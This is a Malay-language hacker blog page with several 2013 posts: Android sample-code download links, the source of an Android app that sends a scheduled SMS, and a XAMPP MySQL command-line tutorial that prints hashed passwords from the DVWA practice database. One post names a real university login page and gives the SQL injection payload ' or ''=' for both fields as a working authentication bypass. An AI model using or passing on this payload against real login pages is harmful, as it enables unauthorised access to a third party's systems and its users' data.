0x2013LΣΣT: SQL

Memaparkan catatan dengan label SQL. Papar semua catatan

Khamis, Julai 25, 2013

SQL : http://efpp.upm.edu.my/elmpk/login (BYPASS)

http://efpp.upm.edu.my/elmpk/login

Nama Pengguna / No. Matrik* : ' or ''='
Kata Laluan / No. Kad Pengenalan* :' or ''='

Jumaat, Jun 07, 2013

Android : Koleksi kod aturcara

Sample games

http://www.mediafire.com/download.php?aub8gvcfoykatu

AndroidSQLite

http://www.mediafire.com/?dld4kx3xsrd7x9b

AndroidAlarmSMS

http://www.mediafire.com/?ctdny2srixpasm6

AndroidCompass

http://www.mediafire.com/?4gbr4x4sgm88pea

AndroidSQLite

http://www.mediafire.com/?222tlctk6mlxddu

Android-Button-Example

http://www.mediafire.com/?46jild347yz9r1d

Android-AnalogClock-DigitalClock

http://www.mediafire.com/?qf1qsoc6c8c6p8e

Android-LinearLayout-Example

http://www.mediafire.com/?51rffimi9f7demc

Android-Password-Example

http://www.mediafire.com/?1iitky8010ft6fx

Android-RelativeLayout-Example

http://www.mediafire.com/download/om198g8vsa8t1v8/Android-RelativeLayout-Example.zip

Android-EditText-Example

http://www.mediafire.com/download/4nzoqx6y8q43g28/Android-EditText-Example.zip

Android-ToggleButton-Example

http://www.mediafire.com/download/nbwdst96jk06b6h/Android-ToggleButton-Example.zip

Android-RadioButton-Example

http://www.mediafire.com/download/50tca0z911apd72/Android-RadioButton-Example.zip

Android-Checkbox-Example

http://www.mediafire.com/download/z26nalrr3a3r6br/Android-Checkbox-Example.zip

Android-RatingBar-Example

http://www.mediafire.com/download/8c9vx1j1n4ejlvg/Android-RatingBar-Example.zip

Android-ProgressBar-Example

http://www.mediafire.com/download/nyxb1253aau5ux1/Android-ProgressBar-Example.zip

Android-TimePicker-Example

http://www.mediafire.com/download/zc1abi5yz3hj7n7/Android-TimePicker-Example.zip

Android-DatePicker-Example

http://www.mediafire.com/download/qmw89ep2cp4ffay/Android-DatePicker-Example.zip

Android-Alert-Dialogl-Example

http://www.mediafire.com/download/0gpb3aiqr831v4p/Android-Alert-Dialogl-Example.zip

Android-Spinner-DropDownList-Example

http://www.mediafire.com/download/loaxjuaf6kgodbg/Android-Spinner-DropDownList-Example.zip

Android-Toast-Example

http://www.mediafire.com/download/avrjimk08442l0j/Android-Toast-Example.zip

Android-Custom-Dialog-Example

http://www.mediafire.com/download/xo4pfnjbl0u1tbj/Android-Custom-Dialog-Example.zip

Android-WebView-Example

http://www.mediafire.com/download/dijc12nmmtxpld3/Android-WebView-Example.zip

Android-Prompt-Dialog-Example

http://www.mediafire.com/download/1a819x47r63ih81/Android-Prompt-Dialog-Example.zip

Android-GridView-Example

http://www.mediafire.com/download/gr74dcy6da1vd6z/AndroidGridView_121227a.zip

Android-ListView-Example

http://www.mediafire.com/download/5zze6dp8d4s4n84/Android-ListView-Example.zip

Android-ImageButton-Selector-Example

http://www.mediafire.com/download/6qnnmlpa5pqncqu/Android-ImageButton-Selector-Example.zip

Android-ImageButton-Example

http://www.mediafire.com/download/57iyo23777nhcm5/Android-ImageButton-Example.zip

AndroidAccelerometer

http://www.mediafire.com/download/i3q6a4ftn734v91/AndroidAccelerometer_120222a.zip

Android-ImageView-Example

http://www.mediafire.com/download/m64piiuvk44h1xt/Android-ImageView-Example.zip

AndroidMultiTouch

http://www.mediafire.com/download/m4q5q17odhim54f/AndroidMultiTouch_111230a.zip

AndroidObjectAnimator

http://www.mediafire.com/download/gobhxqfrvdo1902/AndroidObjectAnimator_120215a.zip

AndroidAnimInterpolator

http://www.mediafire.com/download/gobhxqfrvdo1902/AndroidObjectAnimator_120215a.zip

AndroidAnimInterpolator

http://www.mediafire.com/download/e9ibdu97bvf7z9k/AndroidAnimInterpolator_120209a_2.zip

AndroidListMedia

http://www.mediafire.com/download/dghz6xxnwlw9lou/AndroidListMedia_120317a.zip

AndroidShareActionProvider

http://www.mediafire.com/download/jfgukd6kb1uv5a2/AndroidShareActionProvider_120418a.zip

AndroidTime

http://www.mediafire.com/download/5hisaeg8el68get/AndroidTime_120531a.zip

AndroidPlayer

http://www.mediafire.com/download/0ebo6qwm3vf2w2b/AndroidPlayer_120612a.zip

AndroidDetechTouch

http://www.mediafire.com/download/260cxer6acmpzds/AndroidDetechTouch_120503a.zip

AndroidTouchedPixel

http://www.mediafire.com/download/n2qc2ndhs5t8sem/AndroidTouchedPixel_121010a.zip

AndroidColor

http://www.mediafire.com/download/vgube6xah1djz97/AndroidColor_121004a.zip

AndroidGridView

http://www.mediafire.com/download/gr74dcy6da1vd6z/AndroidGridView_121227a.zip

AndroidHorizontalScrollViewGallery

http://www.mediafire.com/download/4sbit6dy67i5ou6/AndroidHorizontalScrollViewGallery_121224a.zip

AndroidExplorer

http://www.mediafire.com/download/0x259978czaarab/AndroidExplorer_20130219a.zip

Flashlight

http://www.mediafire.com/download/s3bvwa6kwbxlp7j/Flashlight.rar

Android : Alarm SMS

Fail : AndroidAlarmSMS.java

package com.exercise.AndroidAlarmSMS;

import java.util.Calendar;

import android.app.Activity;
import android.app.AlarmManager;
import android.app.PendingIntent;
import android.content.Intent;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;

public class AndroidAlarmSMS extends Activity {

	String smsNumber, smsText;
	private PendingIntent pendingIntent;
	
    /** Called when the activity is first created. */
    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.main);
        final EditText edittextSmsNumber = (EditText)findViewById(R.id.smsnumber);
        final EditText edittextSmsText = (EditText)findViewById(R.id.smstext);
        
        Button buttonStart = (Button)findViewById(R.id.startalarm);
        Button buttonCancel = (Button)findViewById(R.id.cancelalarm);
        
        buttonStart.setOnClickListener(new Button.OnClickListener(){

			@Override
			public void onClick(View arg0) {
				// TODO Auto-generated method stub
				smsNumber = edittextSmsNumber.getText().toString();
				smsText = edittextSmsText.getText().toString();
				
				Intent myIntent = new Intent(AndroidAlarmSMS.this, MyAlarmService.class);
				
				Bundle bundle = new Bundle();
	            bundle.putCharSequence("extraSmsNumber", smsNumber);
	            bundle.putCharSequence("extraSmsText", smsText);
	            myIntent.putExtras(bundle);
				
				pendingIntent = PendingIntent.getService(AndroidAlarmSMS.this, 0, myIntent, 0);
				
				AlarmManager alarmManager = (AlarmManager)getSystemService(ALARM_SERVICE);

	            Calendar calendar = Calendar.getInstance();
	            calendar.setTimeInMillis(System.currentTimeMillis());
	            calendar.add(Calendar.SECOND, 10);
	            alarmManager.set(AlarmManager.RTC_WAKEUP, calendar.getTimeInMillis(), pendingIntent);
	         
	            Toast.makeText(AndroidAlarmSMS.this, 
	            		"Start Alarm with \n" +
	            		"smsNumber = " + smsNumber + "\n" +
	            		"smsText = " + smsText, 
	            		Toast.LENGTH_LONG).show();
				
			}});
        
        buttonCancel.setOnClickListener(new Button.OnClickListener(){

			@Override
			public void onClick(View arg0) {
				// TODO Auto-generated method stub
				AlarmManager alarmManager = (AlarmManager)getSystemService(ALARM_SERVICE);
				alarmManager.cancel(pendingIntent);
				Toast.makeText(AndroidAlarmSMS.this, "Cancel!", Toast.LENGTH_LONG).show();
				
			}});
    }
    
}

Fail : MyAlarmService.java

package com.exercise.AndroidAlarmSMS;

import android.app.Service;
import android.content.Intent;
import android.os.Bundle;
import android.os.IBinder;
import android.telephony.SmsManager;
import android.widget.Toast;

public class MyAlarmService extends Service {
	
	String smsNumberToSend, smsTextToSend;

	@Override
	public void onCreate() {
		// TODO Auto-generated method stub
		
		Toast.makeText(this, "MyAlarmService.onCreate()", Toast.LENGTH_LONG).show();
	}

	@Override
	public IBinder onBind(Intent arg0) {
		// TODO Auto-generated method stub
		Toast.makeText(this, "MyAlarmService.onBind()", Toast.LENGTH_LONG).show();
		return null;
	}
	
	@Override
	public void onDestroy() {
		// TODO Auto-generated method stub
		 super.onDestroy();
		 Toast.makeText(this, "MyAlarmService.onDestroy()", Toast.LENGTH_LONG).show();
	}

	@Override
	public void onStart(Intent intent, int startId) {
		// TODO Auto-generated method stub
		super.onStart(intent, startId);
		
		Bundle bundle = intent.getExtras();
        smsNumberToSend = (String) bundle.getCharSequence("extraSmsNumber");
        smsTextToSend = (String) bundle.getCharSequence("extraSmsText");
		
		Toast.makeText(this, "MyAlarmService.onStart()", Toast.LENGTH_LONG).show();
		Toast.makeText(this, 
        		"MyAlarmService.onStart() with \n" +
        		"smsNumberToSend = " + smsNumberToSend + "\n" +
        		"smsTextToSend = " + smsTextToSend, 
        		Toast.LENGTH_LONG).show();
		
		SmsManager smsManager = SmsManager.getDefault();
		smsManager.sendTextMessage(smsNumberToSend, null, smsTextToSend, null, null);
	}

	@Override
	public boolean onUnbind(Intent intent) {
		// TODO Auto-generated method stub
		Toast.makeText(this, "MyAlarmService.onUnbind()", Toast.LENGTH_LONG).show();
		return super.onUnbind(intent);
	}

}

Fail : AndroidManifest.xml

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
      package="com.exercise.AndroidAlarmSMS"
      android:versionCode="1"
      android:versionName="1.0">
    <uses-sdk android:minSdkVersion="4" />

    <application android:icon="@drawable/icon" android:label="@string/app_name">
        <activity android:name=".AndroidAlarmSMS"
                  android:label="@string/app_name">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        <service android:name=".MyAlarmService" />
    </application>
    <uses-permission android:name="android.permission.SEND_SMS"></uses-permission>
</manifest>

Fail : main.xml

<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:orientation="vertical"
    android:layout_width="fill_parent"
    android:layout_height="fill_parent"
    >
<TextView  
    android:layout_width="fill_parent" 
    android:layout_height="wrap_content" 
    android:text="@string/hello"
    />
<TextView 
    android:layout_width="fill_parent"
    android:layout_height="wrap_content"
    android:text="Enter Phone Number:"
    />
<EditText 
    android:id="@+id/smsnumber"
    android:layout_width="fill_parent"
    android:layout_height="wrap_content"
    android:inputType="phone"
    />
<TextView 
    android:layout_width="fill_parent"
    android:layout_height="wrap_content"
    android:text="Enter Phone SMS Text:"
    />
<EditText 
    android:id="@+id/smstext"
    android:layout_width="fill_parent"
    android:layout_height="wrap_content"
    />
<Button
    android:id="@+id/startalarm"
    android:layout_width="fill_parent"
    android:layout_height="wrap_content"
    android:text="Start"
    />
<Button
    android:id="@+id/cancelalarm"
    android:layout_width="fill_parent"
    android:layout_height="wrap_content"
    android:text="Cancel"
    />
</LinearLayout>

Ahad, Mei 05, 2013

Tutorial : Cara menggunakan MySQL melalui CMD / terminal (XAMPP)

Assalamualaikum & salam sejahtera ...

Kebiasaannya, orang yang mula belajar PHP dan MySQL akan gunakan XAMPP (Cross Apache MySQL Php & Perl). Perisian XAMPP ini ada pelbagai variasi, namun saya cadangkan anda jangan gunakan XAMPP portable lite, sebab ada beberapa ralat di dalam pakej tersebut. Baiklah, artikel saya akan menyentuh kepada pengguna sistem operasi windows sahaja. Jadi saya andaikan anda telah memasang XAMPP kedalam sistem operasi windows anda. Berbalik kepada tajuk, saya akan tunjukkan bagaimana cara hendak menggunakan cmd / terminal untuk mengakses MySQL dalam pakej XAMPP anda. Ketika saya menulis artikel ini, XAMPP yang terkini ialah Versi 1.8.1 (30.9.2012). Ada baiknya untuk anda kemas-kini fail XAMPP kepada versi terkini.

Cara menggunakan MySQL melalui CMD / terminal ===========================

Langkah 1:

Hidupkan servis MySQL dan buka cmd / terminal anda kemudiannya ketikan arahan "cd .." dan "cd" untuk memasuki direktori XAMPP yang telah anda pasang. Arahan ini agak subjektif, kemungkinan ada sedikit perbezaaan pada komputer anda. Namun saya sediakan contoh arahan yang saya ketikan :

C:\Users\user>cd ..
C:\Users>cd ..
C:\>cd xampp/mysql/bin

Langkah 2 :

Setelah memasuki direktori XAMPP/MySQL/bin anda perlu log masuk kedalam sistem pangkalan data terlebih dahulu. Secara lalai XAMPP menggunakan nama pengguna sebagai "root" dan tidak mempunyai katalaluan. Sila ketikan arahan seperti dibawah :

mysql.exe -u root -p

Sekiranya tiada masalah anda akan mendapat terminal "mysql >" mengantikan CLI cmd/terminal lama anda.

Langkah 3:

Pada langkah ini, anda sebenarnya telah berjaya untuk menggunakan SQL kedalam cmd / terminal. Namun saya selitkan sedikit panduan asas untuk tambahan nota.

Ketikan arahan "show databases" untuk melihat senarai pangkalan data, sebagai contoh :

mysql> show databases;         
+--------------------+         
| Database           |         
+--------------------+         
| information_schema |         
| _szsqli_mysql      |         
| cdcol              |         
| codejudge          |         
| dvwa               |                 
| mysql              |         
| performance_schema |         
| phpmyadmin         |                          
| webauth            |         
| wikka              |         
+--------------------+         
10 rows in set (0.01 sec)

Untuk memilih pangkalan data yang anda ingin manipulasikan sila ketikan "use", sebagai contoh saya ingin memilih dan menggunakan pangkalan data dvwa.

mysql> use dvwa;                                                                                                                          
Database changed
mysql> select user, password from users;           
+---------+----------------------------------+     
| user    | password                         |     
+---------+----------------------------------+     
| admin   | 5f4dcc3b5aa765d61d8327deb882cf99 |     
| gordonb | e99a18c428cb38d5f260853678922e03 |     
| 1337    | 8d3533d75ae2c3966d7e0d4fcc69216b |     
| pablo   | 0d107d09f5bbe40cade3de5c71e9e9b7 |     
| smithy  | 5f4dcc3b5aa765d61d8327deb882cf99 |     
+---------+----------------------------------+     
5 rows in set (0.00 sec)

Baiklah itu sahaja daripada saya, selebihnya anda boleh manipulasikan sendiri pangkalan data anda mengikut kesesuaian sistem serta kehendak anda sendiri. Wassalam ~

0x2013LΣΣT

Khamis, Julai 25, 2013

SQL : http://efpp.upm.edu.my/elmpk/login (BYPASS)

Jumaat, Jun 07, 2013

Android : Koleksi kod aturcara

Android : Alarm SMS

Ahad, Mei 05, 2013

Tutorial : Cara menggunakan MySQL melalui CMD / terminal (XAMPP)

× Boikot Zionis & Israel ×

Tentang

Arkib Blog

Label